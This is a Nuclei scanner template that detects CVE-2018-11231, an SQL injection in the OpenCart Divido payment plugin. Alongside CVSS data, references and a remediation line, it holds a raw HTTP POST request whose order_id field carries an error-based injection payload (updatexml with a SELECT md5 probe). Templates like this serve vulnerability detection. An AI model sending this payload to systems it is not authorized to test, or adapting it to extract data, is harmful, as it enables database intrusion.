nuclei-templates/http/cves/2018/CVE-2018-11231.yaml

55 lines
1.5 KiB
YAML

id: CVE-2018-11231
info:
name: Opencart Divido - Sql Injection
author: ritikchaddha
severity: high
description: |
OpenCart Divido plugin is susceptible to SQL injection
remediation: |
Apply the official patch or upgrade to a version that includes the fix.
reference:
- https://web.archive.org/web/20220331072310/http://foreversong.cn/archives/1183
- https://nvd.nist.gov/vuln/detail/CVE-2018-11231
- http://foreversong.cn/archives/1183
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-11231
cwe-id: CWE-89
epss-score: 0.00903
epss-percentile: 0.80925
cpe: cpe:2.3:a:divido:divido:-:*:*:*:*:opencart:*:*
metadata:
max-request: 1
vendor: divido
product: divido
framework: opencart
tags: cve,cve2018,opencart,sqli,intrusive
variables:
num: "999999999"
http:
- raw:
- |
POST /upload/index.php?route=extension/payment/divido/update HTTP/1.1
Host: {{Hostname}}
{"metadata":{"order_id":"1 and updatexml(1,concat(0x7e,(SELECT md5({{num}})),0x7e),1)"},"status":2}
host-redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{md5({{num}})}}"
- type: status
status:
- 200
# digest: 4b0a00483046022100fbb2fded7b2fbd3dbbac99ee08872c49d94dd787c971eced855e5c090e1306fe022100881658afb49d8879c3110c3f360560503fb0c43b4a0c562095b4c1d9a5afa3eb:922c64590222798bb761d5b6d8e72950